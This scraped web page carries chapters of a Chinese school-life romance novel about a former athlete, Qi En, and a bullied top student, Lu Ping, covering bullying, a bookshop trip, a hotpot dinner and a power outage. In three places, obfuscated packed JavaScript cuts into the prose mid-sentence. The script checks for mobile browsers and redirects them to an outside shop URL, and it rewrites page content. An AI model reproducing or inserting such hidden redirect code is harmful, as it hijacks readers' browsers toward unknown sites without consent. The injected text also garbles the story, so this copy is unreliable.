“算你好运,书呆子!”女生阴狠瞪他一眼,“卢佳的话你别忘了,你他妈给我们等着!” 与齐恩擦身而过,那女生肆无忌惮地打量她,齐恩回以同样的目光:“怎么,还有事?” “没事。”对方冷笑,“就是觉得你很有姿色,完全没必要偏袒一个精神有问题的人。” “你说什么?谁的精神有问题?” 这时,不远处有警笛声响起。 原来是卢俜报了警。 他也并非逆来顺受。 那三人暗骂几声,匆匆离去。 唯留齐恩和卢俜还在原地。 “刚才为什么不还手?” “……没有必要。” “她们说的卢佳是谁?你姐?” “……我后爸的孩子,继姐。” “你姐和你有仇么?” 卢俜没再回话了。 “她们说的精神问题,那是什么意思?” 卢俜径直略过她,去应付外面的警察。 警车走后,他先是蹲下把满地散乱的书本装进背包,有些已经被撕成了数瓣。她们竟然做了这样的事,齐恩也是才知道。她踱过去,在他的身侧,只能看见后脑勺凌乱的巧克力卷毛。 “你这个人机。” 齐恩拿脚尖踢他。 “说话啊,卢俜。” “……” 齐恩压抑住脚背的痛楚,缓缓下蹲。 直到和孱弱的少年处于同一水平线。 城市在变暗,晖色被钢筋抿成一道直线。 两人的影被一根线刺穿过去。 像连贯在一条绳上的两只蚂蚱。 “为什么不和老师讲?” “……” “这样下去多久了?” “……” “如果我没路过这里呢?” “那你就没路过这里。” 卢俜终于发话,他一本本地收好了残缺的书,背起那只又添上许多枚脚印的帆布书包。 齐恩眼睛红了,一把拍开他伸给她搀扶的手,骂了一声滚蛋,自顾自踉跄着往前走去。 卢俜没有说话,戴上兜帽跟在她的身后。 齐恩已经尽力走得很快,但不敌健全人。 “干嘛!”齐恩回头瞪他,“我现在不需要你扶了,好学生,你还跟着我干嘛?” “……我回家也是走这条道。” 这回无语的人换成了齐恩。 “行,你牛逼。”她抬脚往别处走。 片刻后,齐恩回头:“那你怎么还跟着我?” 卢俜迅速地舔过下唇,说了一声,对不起。 “对不起?”齐恩嗤笑,“对不起谁?” 卢俜抓了把汗湿的额发:“……你。” “为什么?”齐恩停下。 “……下课没等你。” “还有呢?” “……” “你个呆子!”齐恩咬牙切齿,继续往前走。 卢俜终于不总顺从,要过马路,他托住她。 两人加快了脚步,在黄灯闪烁间冲到对街。 四面八方都是浩大的人潮。 齐恩再看他时,他脸上的红被晦暗天色混淆。“我要去书店一趟。”他说,“买教材。” “那你去啊。”齐恩说。 “……你等我一会。” “谁等你?”齐恩好笑,“谁下午没等我?” “我。”卢俜说,“我……马上买完。” “三秒钟买完我也不等你。” 齐恩顿了顿,“两秒也不等你。” “一秒我也不等你。”她作势要走。 卢俜没有阻拦她,只是跟上来。 “干什么?”齐恩睨他,“你书不买了?” “……先送你回家。”卢俜伸手欲扶她。 “谁让你碰我了?!!” 卢俜被凶得缩回了手。 他一瞬间流露出了不加防备的无措,微微低下毛茸茸的头,卷翘碎发遮住可可色的瞳仁。 “你什么表情?”齐恩问,“我欺负你了?” 卢俜见她鞋带散了,犹豫片刻,蹲下身去系。 “是我欺负的你,还是别人欺负的你?” “没人欺负我。”他压低声音说。 齐恩倏然挪开左脚:“再说。” “别人欺负我,你……没欺负我。” “不止,我还帮了你。”齐恩补充。 卢俜修长的手指得以追上她的鞋面。 “你的谢谢呢,好学生?” 卢俜说:“……谢谢。” 齐恩满意了。目视他在她面前缓缓站直。 依旧很板正,干嘛非得刚才那个挫样? “走,给你买书去。”齐恩朝他抬下巴。 卢俜终于能扶她,两人一起往书店走去。 木屋书店内,一台台暖光高脚灯渲染着氛围。 天色暗得彻底,玻璃倒映出整片街角的彩影。 卢俜翻着书包看损毁情况,折身去了教材区。 齐恩悠哉跟在他身后,回想起这人学习很好。 不,是非常拔尖。 “诶,全校第一。”她上前,“我想找你取取经,我的数学很差,写什么教辅才能提分?” 卢俜放下试卷问:“是哪方面的差?基础薄弱还是进阶题做不出来?你现在能考多少分?” “之前一直在到处比赛,没怎么上学。”齐恩实话实说,“我只能考个二三十分。” 卢俜终于意识到这是多么艰巨的一个难题:“你真的打算只学一年就去高考吗?” “能少浪费一年就少浪费一年吧,花期短。” “我还是建议你好好提一下文化分。” “如果成绩不理想,当然也考虑多读一年。” 话说到这个份上了,卢俜也不推脱什么。他拿起一本朱老师编写的高考数学课本篇。 “这个人,我知道他啊,我有写他的2000题,青铜小蓝本。”齐恩接过书,“你们这种大佬肯定是写那个决胜800的小红本,是吧?” “不是。”卢俜也实话实说,“没有难度。” 齐恩张了张嘴,又闭上:“我就不兴问。” 齐恩很好奇强者的世界:“那你看什么书?” “高老师会给我们编习题册。”卢俜指了指,“除了历年考题,我自己做高掌还有导秘。” 齐恩顺着看过去,翻开那本《导数的秘密》,片刻后又合上了:“不懂,太抽象了。” “不走数竞,就没必要了解。”卢俜接过书本,“浙大优学是很进阶,MST会好一些。” 这是卢俜擅长的领域,但齐恩一头雾水,他也不想赘述,扯开了话题:“你打算走表演?” 齐恩说:“嗯,有这个打算,我学文的。” 卢俜沉思,走到隔壁书架:“过来这边。” 齐恩跟过去,卢俜给她拿了一本地理的状元手写笔记,还有历史和政治的金考卷。 “这些应该对你用处比较大。”卢俜顿了顿,“文科,特别是历史,这方面我也不懂,但金考卷几乎人手一份。剩下的,如果你觉得我推荐的教材不好,可以去找你们班的张其薪。” “我就想找你问。”齐恩抱紧手里的书,下巴搁在上面,“那地理不需要金考卷吗?” “那个题出得不好。”卢俜蹙眉,“我听十班人说的。你想刷题,不如买高考必刷题。” “哦哦。”齐恩找到他说的教辅。 导购员带他们去结账。 十几本书叠得高高的,其中大部分都是齐恩的。店员问要不要分开结账,齐恩说一起。 她率先付了款:“这回算我请你。好学生。” 这么多书,怎么搬回去也是个问题。好在店长说他们可以送书上门,打烊之前就派送。 出了书店,路两旁的夜灯已经全亮起来,不远处的小吃摊上,飘来一阵阵酱油炒饭的锅气。 齐恩摸了摸自己的肚子:“你吃没吃晚饭?” 卢俜摇头,没忍住说一句:“我中饭吃了。” “我知道。”齐恩说,“是我没吃中饭。” “你当着温主任的面怎么不说?” “我害臊。” “……” “卢俜,我今天又是瘸着腿来救你,又是替你付教材钱,我还没对哪个男生这么好过。” 卢俜闻言望向她,齐恩微仰着下巴,理直气壮地问:“你不觉得我是你的救命恩人吗?” 卢俜不语。 齐恩追问:“是不是请救命恩人吃顿晚饭?” “我可以请你吃晚饭。”但不是救命恩人。 齐恩左瞧右瞧:“你知道你现在像什么吗?” 卢俜被她看得紧张,再次回避视线。 蓬松柔软的卷发遮挡住深棕色的镜框。 “赛尔凯克卷毛猫。”齐恩盯他浅色的眼。 简直莫名其妙。卢俜往后退了一小步。 “小猫,你可以吃芝士汉堡。”齐恩继续说。 “你的意思是吃麦当劳?”卢俜不懂这个。 好在齐恩很赞同,年轻人就应该吃些高热量的速食产品。他们到麦当劳,坐下,排号取餐。 卢俜没什么想吃的,也不知道有什么套餐。齐恩点了两份芝士安格斯厚牛堡,替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卢俜不愿意回答这个,她又问:“小时候呢,也没被带着来吃过?你难道不好奇吗?” 齐恩自答:“好吧,反正我小时候经常来吃。那时候就喜欢吃这些洋玩意,我爸下班后带我来吃,我老高兴了,那个打包盒我都要留着做纪念,因为不常吃到,我爸他平时太忙了。” “诶卢俜。”她又问,“你和你姐怎么了?” 他说没怎么,齐恩笑了,没怎么会找人堵你? “所以你一个人住,也和你姐有关系?”齐恩吮了一口咖啡液,“你爸妈不向着你吗?” 卢俜面无表情,第三次问她吃完了没有。 齐恩知道他不乐意说,耸耸肩不多问了。 他们回家,卢俜要背她,于是把书包递给她。 有点儿脏,齐恩嫌弃了。 他又一声不吭地背在胸前面。 “你这书包是该洗洗了。”齐恩念叨,“跟着你多可怜啊,天天挨人踹,地里打滚儿。” “你的书也是。”齐恩补充。 卢俜不耐了:“那就再买。” “你有几个钱啊,天天挥霍!”齐恩感慨,“好学生,乖乖仔,你这样下去不是办法。” 那什么叫办法,卢俜自问,不和她争辩。 “这样吧,我有一个办法。” 背她上楼,他克制不住喘息。 “说。” “你跟了我。” “……什么?” “你当我的小弟,给我端茶倒水,就像现在,背我上下学,偶尔还请我吃点好吃的。” 天可怜见,卢俜觉得自己倒霉极了。 “坏处说完了,好处呢?” “这哪是什么坏处啊?”齐恩偏着下巴乜他,“多少人想和我玩儿,我都不搭理的好吗?” 是么,我也不稀罕。卢俜唇角骤然下垂。 齐恩见他神色有些难绷,这才不逗他了。 “好处就是我罩着你。” “谢谢,我不需要你罩着。”卢俜说完,又多添一句,“况且你自己还是那个瘸的。” “那咋啦!那咋啦!上山的人不要瞧不起下山的人好不好?我虽落魄,威名还在!” “……” 终于到1304门口,卢俜如释重负。 他解脱般把齐恩从背上放下。 “我说的你考虑考虑啊,卢俜,小卢猫。” 卢俜脸颊稍红,忍无可忍地责斥她。 “别再给我起那些稀奇古怪的绰号了!” 齐恩像是被他震慑住了,湿润的双唇微张。 卢俜以为凶得太过了,面色稍缓,齐恩又说: “诶,我发现你的下睫毛好长啊,好学生。” “……” 他和她讲不明白,真的。卢俜转身欲离,齐恩拦他:“没大没小,站住,喊声恩姐再走。” “你也没比我大多少……”卢俜躲闪。 “此言差矣。”齐恩摇食指,“其实我比你们早一年入学,按复读班来算,下半年就是上高四的人。也就是说,我其实大了你两年级!” 她眉眼弯弯,如天井月色,皎洁生动。 “大你两届,叫声学姐不过分吧?” 9. 学生代表 “……歪理。”卢俜偏过头去。 齐恩在月光下盈盈一落,像会消散。 她在看他,笑起来时,眼底尤其盛满亮色。 卢俜对美丽而麻烦的事物避之不及。 “好学生。”齐恩还在背后喊,“你的书不要了?刚才买书的时候留的是我家地址。” “……明早送你上学的时候来拿。”卢俜脚步不缓,反而越来越快,像怕被什么绊住。 他说的话倒很够意思。齐恩斜斜靠在门边,没由来地勾起唇角。意识到自己笑得太过火了,她拍了拍白皙红润的脸颊,转身开门回屋。 屋里还是漆黑一片,齐恩摸索片刻才打开灯。脱下鞋靠在墙角,她不太自如地走到沙发边,甩下书包坐下来,盘着腿看了会儿朋友圈。 好几个前队友都发了动态,今天赵总教头开会又批评了不少人。她和昔日战友们插科打诨了几句,想了想,还是点进那个深蓝色的头像。 “王玉,你们今天开什么会了?” 对面的消息回得很快。 “你不是知道么?看朋友圈。” “我不知道,你也不和我说。”齐恩发语音。 “有什么和你说的必要吗?你又不在队里。” 齐恩撇嘴,都过去这么久了,气怎么还没消,她干脆打开门见山的,“王玉,我想你了。” 沉默是王玉一贯的作风,齐恩等了一会儿。 “……都说了让你别来烦我。” “我不烦你,还有谁能烦你?在队里天天就冷着个脸,有传言说王玉一个人孤立所有人。” “我也不需要他们来烦我。都是一群傻逼。” “你这样在队里没朋友。” “我不需要朋友。” “出去比赛都没人喊你吃饭。” “我不是非要和她们去下馆子。” “滑摔了都没人扶你起来……” “你烦不烦?”王玉忍无可忍。 齐恩不语了。 王玉只有在刺痛她的过程中才能感到快意。 王玉小齐恩两岁,进国家队时只有十三岁。 齐恩在青年组和她呆过一段时间。 王玉是海外选手,参与过晨路计划,和其余国内的选手都不熟悉。王玉太孤僻了,常常只有集体活动的时候才出现,齐恩和她一个宿舍,抬头不见低头见,也摸清了她那古怪的性格。 王玉怕打雷,齐恩不怕,王玉怕虫子,齐恩也不怕,王玉晕血,齐恩不会晕。很容易就依靠起大她两岁的姐姐,更何况齐恩在同龄人之中都是佼佼者,人都慕强,更别提年轻的孩子。 后来齐恩去了成年组,王玉说让她等着她。可王玉满十六进组,十八岁的齐恩却已经把退役提上议程。伤痛是不得不面对的命题,可王玉的信念却无声无息地崩塌,她把自己家卧室里齐恩的海报全都撕掉,奖牌扔进了床底。她不能接受齐恩退役的事实,她恨她没遵守约定。 离开北京的那天,所有队友和教练都来给齐恩送行,唯独王玉没有。齐恩觉得有些遗憾。 她不想王玉耿耿于怀,那是她自己的道路。 王玉挂断后,立刻有电话打进来,是来送书的快递员。齐恩把纸盒抱进客厅拆开,把自己买的书先清出来,剩下的拍了照片发给卢俜。 “你看看有没有漏掉的,是这几本书吗?” 过了五分钟,卢俜回了一句“是”,又说: “你不用帮我拆,明天早上我自己搬上去。” 齐恩问他大晚上的在做什么。 卢俜很简单两个字,复习。 复习?齐恩才想起,刘彩今天刚说月考的事。 “你在准备月考?有没有什么独家方法?” “也是期末考。”卢俜言简意赅,“做题。” 得,问了等于没问。 而且人家学的理科。 语数外一窍不通,大文三门也是棘手的存在,齐恩实在不知道该怎么拯救自己的文化分。 不过干坐着也不是办法,复课的这么多天,她已经给自己列了一个大致的追分计划,先把各学科最基础的分拿到手,剩下的再慢慢提吧。只是,齐恩有预感,数学一定是最难的一门。 齐恩的预感确实不错。 这周的周考卷子发下来。 她只有四十二分。 语文倒是达到及格线九十,这也是齐恩没想到的,作文分拉高了缺陷的选择和文言文。英语就一窍不通了,齐恩没有学语言的天赋,水平停留在初中,只拿到六十多分。剩下三项大文比较好看,选择题写完,大题就算抄抄材料也有分,齐恩的政治最好,赋完分有八十五。 看着自己四百出头的文化分,齐恩一筹莫展,咨询了专业老师。老师说文化分至少要超五百才能稳上一本,好的院校还会有更高的要求。“你也不用太着急,这学期末就要开始准备集训了,等校考完之后再补文化分也可以。” 齐恩没法儿不着急,她揉着自己的数学卷子,生无可恋地趴在桌上。给她垫底的谌俞也靠在墙边,看着四十分的标红,“怎么办啊……” 两位难兄难弟你看看我的,我看看你的。 不约而同地叹息一声。 袁礼米则接过齐恩的卷子,对比自己的看了一会儿:“齐恩,也不用太丧啦。其实你看,有几道送分题是你能做出来的,这个数列就是,还有一道向量大题,加上少说也有六十了。” 袁礼米的安慰很苍白,张其薪的安慰更实诚:“你看谌俞学三年还没你学三天考得好。” “不是!”谌俞受不了了,指着自己,“齐恩的快乐就非要建立在我的痛苦上吗!” “这是事实!”高玟与有荣焉,“除了英语,齐恩每一科的成绩都在你之上吧!” “得得得,我只是没发挥好!”谌俞替自己辩护,“齐恩,这次月考我绝对考过你。” 齐恩只是更忧愁:“月考……还有月考……” 袁礼米伸手戳了戳齐恩紧蹙的浓眉:“千万别产生厌考情绪啊,那样只会恶性循环。” 齐恩嗯了两声,收拾好了心情。众人之中,张其薪的卷子是最后发下来的,一百四十二分。 “你这和我们是一个物种吗!”高玟瞪着他。 张其薪很无辜:“也还好吧,你们怎么不看看袁礼米?她就比我低个两三分好吗?” “好啊!袁礼米!”高玟越过齐恩去掐她,“你敢耍老子!你跟我说的是一百出头!” “一百三不是一百出头么?”袁礼米苦笑着躲她,“而且,我考的又没有张其薪好。” “行了,你们两个学霸!”前排张其薪的同桌咬牙切齿,“再装逼我让你们飞起来!” 周围人在哈哈大笑,张其薪的视线却落到低眉的齐恩身上,她正琢磨着试卷上的错题。 “别灰心。”他说,“不会的题可以问我。” 齐恩闻言,抬起头笑了笑,“谢谢张司长。” “需要我的答题卡吗?” “好。”齐恩接过。 有人问:“我找你要卷子,你怎么不借?” “刚才没发下来。”张其薪推了推眼镜。 高玟和袁礼米倒是心知肚明,互眨了眼。 中午,齐恩让高玟和袁礼米帮忙带一份炒饭,她要在教室里订正地理卷子。谌俞也不吃饭,窝在座位上打游戏,匹配中途和齐恩聊两句。 “恩呐。”他说,“你真打算学这么认真?” “嗯?”齐恩对着地理书记背纬度和风带,“学的认真?也还好吧。” “其实你没必要走高考这条络。”谌俞始终这样想,“你这么有名气,以后当个运动网红,或者颜值博主,随随便便接个广告都不愁吃穿了。学习,那是我们这种普通人的路吧。” “你怎么会这样想?”齐恩不由得失笑。 “本来的事。”这样的人一抓一大把。 “那也太没意思了。”齐恩合上书本,明朗的灯光映在她挺俏的鼻尖,“不觉得吗?” 好吧,看来她还很有自己的追求。 谌俞说:“我总算知道你为什么成功了。” 这和成功有什么关系?齐恩连不上他的脑回路。高玟带着腊肠炒饭回来了,她接过道谢。 餐吧里还有许多学生在吃饭,有些是家里送的便当,有些是拿手机偷偷点的外卖或小卖部的方便面,也有些从学校食堂打包回来吃。 齐恩赶时间,坐下边刷百词斩边吃饭。她在opposite卡住了,身后适时地传来谈论声。 一女生说:“要我说张其薪还是很可以的啊,这次数学考这么高,十班最高分都比他低。” “就是啊,我们一班比他高的也没几个!”另外一名女生摇头感叹,“他是自学的吧!” “对,感觉他们数学老师就是个老头儿,说话都说不明白,教不出那种水平,又不是咱们柯老师……知道他们班的人都怎么喊他吗?陈天师!说他讲课和念咒似的,手上还结印呢!” 齐恩听得不舒服,陈老师是讲课带点儿口音,但绝对是个好老师,讲课非常用心负责,年轻的时候也带过竞赛班那种好班。陈老师就是性格太好了,不然他们也不敢当他的面起外号。 而且自家学生都是这样的,在班上可以肆无忌惮嘲笑老师,出了一道班门,谁不是护犊子一样护着?就像张其薪平时那么理性随和的人,被逼急了也可以和一班的周第大打出手。 “哈哈哈,这也太抽象了吧。”女生捂着嘴,“可十七班不还有一个数学好的女生吗?” “切———那又怎样?你们班不是还有卢俜吗,146,他是最后一个大题失分了吧!” “其实张其薪数学也是可以的,但十七班那种环境,再怎么也得退步吧?” 齐恩正往嘴里送饭的筷子一瞬间顿住。 “就是,不看看他们班都是什么牛鬼蛇神。” 齐恩回头,恰巧撞见那女生翻了个白眼,“就那个高玟,一天到晚嗓门真是大,全校的人都能听见她在笑!还有几个街溜子一样的体育生,你说那种环境哪有人学的下去啊?张其薪当初从你们班转走,也不知道是为什么。” “你怎么不说还有个齐恩?”另一个女生问。 “齐恩……?其实我对她印象还可以啦——” “可以什么呀可以?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐恩并不是容易被煽动的蠢货,即使方婕对她造谣生事,但这个女生转头就倒戈,同样也不值得信任。“谢谢你能告诉我这些。”保存完物证后,她放下了手机,头疼地捏了把眉心。 opposite,对立的。 下午是语文连堂和政治,相对轻松的科目。今天是周五,放课后齐恩要和卢俜、方婕一起去政教处领学生代表穿的正装。她到的时候,另外两人已经到了,方婕不满意正装的尺寸。 “温主任,这个西装外套也太大了吧。”方婕看到齐恩来了,直接把西装拿到她身上比划,“你看齐恩骨架大,穿上才合适,我骨架那么小,穿不了的,我就穿我学生会的制服吧!” 齐恩看她说话像很卖力,怎么当着老师的面就要捏着一点吗?她似笑非笑地瞧着方婕,想知道她葫芦里卖的什么药,下一秒,和她身侧的卢俜对视上。卢俜正被方婕拉着,强行比一件白衬衫,他浑身紧绷,不自在地挪后了两步。 方婕又说:“卢俜的也是,尺寸不合。” “小温,你这不行啊。”齐恩抱着臂揶揄,“让咱会长大人这么不满意,怎么办事的?” 这话放在她嘴里说出来,火药味少,调侃意味居多。并不为难谁,只是方婕这回确实事多。 温主任也百思不得其解:“尺寸挺合适啊。” “我和卢俜穿学生会制服就好。”方婕坚持。 “但是人齐恩没有学生会制服,你们这……” “没有制服也不太好。”方婕流露出为难的神色,“要不还是换一个我们学生会的人吧。” “……什么?”温主任一时没反应过来。 “反正也就是个学生代表,德智体美劳,选一个合适的人就行了吧?我们学生会的体育部就有很多呀。”方婕轻飘飘地说,“你看齐恩,她也不愿意吧,而且腿脚也不大方便。” “是啊。”齐恩懒散附和,“都怪卢俜同学没关照好我,我才没痊愈。都是他的错。” 卢俜被当枪使也不惶恐,顺其自然地认错:“对不起,温主任,是我没有照顾好她。” 方婕不高兴了:“这和卢俜又有什么关系!” “那这和谁有关系?这是谁的错?我腿没好,这笔帐不算卢俜头上,还算到谁头上?” 齐恩又扣帽子:“是温主任的错,明知道我有腿伤还要我上,还弄错了正装尺码,是吧?” 方婕不知道该怎么答,齐恩口齿伶俐,周第那事温主任就知道了,更别谈朝夕相处的卢俜。 齐恩说爽了,一屋子人脸色各异,她这才舒出一口浊气,颇为认同地对温主任说,“学生代表,这可是学校的面子、师生的里子,我成绩不好,肯定担当不起这份工作。可别说成绩,在日常生活里,肯定也要选最作风优良的。” “可作风优良这一点?” 齐恩把方婕从头看到脚。 “我怎么就这么不认同呢?” 她笑着摇头,走得很干脆。 10. 突发停电 齐恩没有参与接待。 她本身也不乐衷面子工程。 比起这个,下周就是月考周了。 周四周五连考,下周一就能把卷子批出来。 其实考两天是最让学生崩溃的考法。高考是正儿八经三天,休息和临考复习的时间相对充分,两天简直太赶了,往往上午考完语文,下午就是数学英语,第二天六门副科。别说复习了,对答案都来不及,有的同学选科很倒霉,一上午或一下午都在考场,没有翻书的功夫。 这时候,齐恩才佩服起卢俜的先见之明,趁着周末就准备起来,且人家学的还是理科,要记要背的没有文科多。都说会学习的在脑海里有一个记忆宫殿,齐恩的脑海里只有一片废墟,各科的书摊在桌子上,要复习吧,还是预习?完全焦头烂额,像砧板上扑腾的一条死鱼。 得了,有什么办法,硬着头皮考呗。 好死不如赖活着,垂死也要挣扎一番。 加油,加油。齐恩在进考场前给自己鼓劲。 因为油加得太多,不出所料的……考糊了。 周五考完了最后一门,齐恩已经彻底萎靡不振,趴在课桌上咬着指甲思考着人生。 高玟到处找人对答案,袁礼米不堪其扰,堵住自己的耳朵。谌俞组织着聚餐,问了张其薪,又来问后排的三位女生:“一起去搓一顿吧,考试周太费脑细胞了,吃顿好的补补脑子。” 齐恩应下,打开手机给卢俜发消息。 “今天和朋友出去吃饭,不用等我。” 一起回家的关系,似乎也不远不近。其实自从上次和方婕不痛快之后,连带着一班的卢俜,也让她不知道该怎么相处,方婕和卢俜关系还不错吧?这样会不会让大家都很尴尬? 齐恩当时想过,但没顾及那么多,如果卢俜因为这个就疏远她,那只能证明他是一个不值得她深交的人。不过卢俜没有,或者说有也让人看不出来,他性格总是闷闷的,不爱说事。 如今齐恩的腿也好的差不多,并不需要人搀扶,只不过这几天谁都没提,所以两个人相安无事的上下学。今天或许是个契机,齐恩也等到了卢俜的消息:“好,那我先回聚民了。” 谌俞和高玟商量着去哪儿吃,齐恩收拾书包,把试卷用文件塑料夹一张张整理好,周末要写的教材也捡了出来。张其薪看到她的教辅,问:“你什么时候买的这些?挑得挺好的。” “上周和卢俜去买的。”齐恩说,“就青街的那间满果书店,我还办了一张会员呢。” 张其薪的重点放在前半段:“你和卢俜?” “是啊。”齐恩说,“放学也顺路嘛。” 张其薪沉默片刻:“你知道他和方婕的事?” 齐恩勾了勾唇角:“是我应该知道的事吗?” “每个人都是有私生活的,人家的私事儿,我可不想过多关注。”她耸肩,“朋友而已。” “他们之间的关系,比朋友复杂一些……” “没有啊。”齐恩说,“我是说我和卢俜。” “……这样。”张其薪意识到自己的出格。 齐恩背起书包又问:“你对卢俜有意见么?” “意见算不上。”他说,“方方面面吧。” “我今天中午在餐吧听别人说,卢俜这次考得比你高五分。”齐恩状似不经意地提起。 “他确实挺厉害的。”张其薪的右眼睑在跳。 “而且他和方婕关系确实不错。”齐恩继续说,“方婕和他一起穿学生会正装迎宾呢。” 张其薪:“他们……关系本来就不太寻常。” “嘿———”齐恩觉得没劲了,歪着头看他。 她噗嗤一笑,“张其薪,你这样好假哦。” 张其薪不明所以,齐恩指着他的鼻子说:“明明心里很在乎,怄气死了,干嘛那种表情?” 张其薪神情变换一瞬:“我在乎?没有吧。” “人在三种情况下会反问,逼迫、心虚或引导。”齐恩有理有据,“你是哪一种?” 张其薪确实百口莫辩,又被齐恩碰了碰肩膀:“你还喜欢方婕吧,对吗?对吧对吧?” 让他内心产生迟疑的人就在眼前,张其薪不知道该如何回答,齐恩却已经默认了。 “安啦安啦,这事尽管交给我和谌俞,我们会替你打好助攻的!”齐恩拉了谌俞过来,谌俞也心粗地点头:“包给你俩促成正果的!” 到了青年大街,谌俞安排大家吃的一家老店,杏吴牛肉火锅,也是榕城这边的特色。 真正的美食,莫过于夏天四十度的火锅,冬天零下十度的冰淇淋,所以大家都吃得很畅快。 “你们是外地人,不知道。”谌俞下了一筷子嫩肉,“这些牛身上的部位都是有讲究的,像吊龙,就是牛脊骨的长条肉,特别嫩,肥品就是油脂多的,吃进嘴里那个香啊……” “不对啊。”高玟说,“你不是新疆人吗?” “四线担!”谌俞瞪眼,“谁和你说我是新疆人啦!我和张其薪都是正儿八经的潮汕人!” “张其薪倒像,你这浓眉大眼的,真不像。”袁礼米讶异,“我一直以为你是少数民族。” “我是少数民族?我还说齐恩是外国人呢!”谌俞摸下巴,“等等,齐恩还真是混血。” “所以你们都是哪里人?”齐恩问她们。 “我是湖北的,高玟哈尔滨人。”袁礼米说。 “有你这么矮的东北人么?”齐恩忍俊不禁,“小萝卜头从那么远的地方来上学啊?” 高玟皱着眉头,拍了拍胸脯:“如假包换的!下次给你们带点儿哈市的特产来吃吃。” “叔叔考考你们,这是什么肉?”谌俞夹起。 “匙柄。”张其薪一看就知道,“肩胛肉。” “厉害。”高玟说,“你们潮汕人太牛逼。” 高玟又问潮汕人是不是都很排外,张其薪说没有这回事,谌俞则一手捂住脸,隐忍模样:“赶紧别说了,我排外病现在就要发作了!” 最后,袁礼米点了一份手擀面给汤底收尾,鲜嫩浓缩的牛骨清汤配上高玟特调的沙茶小碟,就连节制饮食的齐恩都吃了两大碗,更别提正在长身体的男生。总之,每个人都吃撑了。 学生们沿着青年大街东门逛夜市消食。 高玟前脚刚说吃得像猪头,后脚还要买珍珠奶茶喝。张其薪帮大伙儿去买,只有齐恩和谌俞不喝。三十五六度的夏夜,两个人在外面干站着也是热,干脆逛进旁边的运动品牌旗舰店。 齐恩买了两双跑步鞋,网面透气款,中底是回弹的,脚感很不错。榕城这边太潮了,即便不是易流汗的体质,齐恩也觉得闷的慌。等康复之后就要开始复健了,齐恩准备好好锻炼。 谌俞看出来了:“你也打算晨跑?” “是夜跑。”齐恩很佩服他,“你是每天晨跑吗?勇士!早上也太晒了,根本跑不动。” “真的勇士,敢于直面惨淡的日光……”谌俞背不出来了,看了眼黑的和煤炭似的手臂:“你说晚了,我已经被晒成煤球了。” “没事。”齐恩安慰他,“你可以内服外调,多吃点儿维c和葡萄籽,多涂防晒霜。” “那真的有用吗?能变的和你一样白?” “然后就会发现一点用没有,全是智商税。” “……“谌俞鼓掌,“真是听君一席话。” 齐恩把衣架上的男士防晒外套扔给他:“我白是因为人种,您还是多做些物理防晒吧。” 两人结了账,齐恩买了很多,大包小包拎在手里,谌俞只买了一件防晒服和两双运动袜。 高玟说晚上九点还有数学网课,现在得赶回家了,于是拎着珍珠奶茶和大家分道扬镳。袁礼米是i人,社交电量已经耗光了,一脸茫然,家里也打电话来催,拦了辆出租车离开。 只剩下三个人面面相觑。 “去哪儿?”谌俞问,“有想去的地方吗?” 张其薪问齐恩:“你家长会管你晚归吗?” “都不在本地。”齐恩耸肩,“玩儿呗。” “要不咱们去网吧?”谌俞双眼亮堂,“来一把惊险刺激、酣畅淋漓的吃鸡三排!” 三小时后。 谌俞揉着充血酸胀的眼眶: “不行了,我的眼睛要瞎了。” 齐恩滴眼药水,顺手递给他。 “我也,还是回寝宫眠一眠吧。” 张其薪捏了把泛酸的手肘,“我都睡着了。” 他回回都是开局就被补了,救都来不及。 三人结完账出门,谌俞说:“要不我们先送你回家吧,你一个女生走夜路也不好。” “不用,我家那么近。”齐恩搓了把脸颊,让自己精神一些,“就在前面的聚民街口。” “那确实不远。那我和张其薪打车走了啊?” “都这么晚了,不知道能不能用手机叫到车,要是家离得近,你们也可以刷共享单车。” “不用担心,我们都很近的。”谌俞说。 张其薪补充:“到家给我们发个消息。” 齐恩摆摆手,往反方向去。 人已经走出去好远,只剩下高挑纤细的背影,谌俞还不舍得收回目光。“行了行了。”张其薪伸手在他眼前晃了晃,“下周一又不是见不到。” 谌俞嘿嘿一笑,快乐小狗似的。很快地刷完了共享单车,他就绕着张其薪骑车转圈。 “司长你知不知道,我真的觉得她好厉害的,做什么都很牛逼,然后……然后还漂亮!” 后者才是主要原因吧。 张其薪失笑,“她确实有够优秀的。” “你说,我要不要正儿八经去追求她?” “……你可以去试试,不过她可不缺人追。” “确实,咱们年级好多男生都偷看她,还每次大课间都拿着水杯在咱们班门口晃……“ “她是很受欢迎,但没那么容易熟络起来。” 张其薪的话不无道理,谌俞犯了难,不过想到今晚的同游,他很快又雀跃起来。 . 这一头,齐恩拖着疲惫的脚步,尽兴而归。 走到社区旁的便利店,她有点口渴,正好进去买一瓶水,没想遇见了熟人。 卢俜坐在休息区,帽沿罩住褐色的小羊毛卷发。他正带着耳机学习。 “嘿!”她差点儿没发现他,走过去,拍了拍他的肩膀。“你怎么在这儿学?不回家么?” 卢俜面无表情看她几秒钟,“家里停电了。” “你上我家啊,难道你今晚打算露宿街头?” “……整个聚民社区都停电了。”卢俜说,“你不知道吗?你没看社区群聊吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463920|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐恩在网吧玩得昏天黑地,哪里想得起来,她一打开手机才看到,居民群早就炸开了锅。 “线路老化抢修?”她看到底下有人抱怨,说老旧小区就是这样,三天两头出幺蛾子。 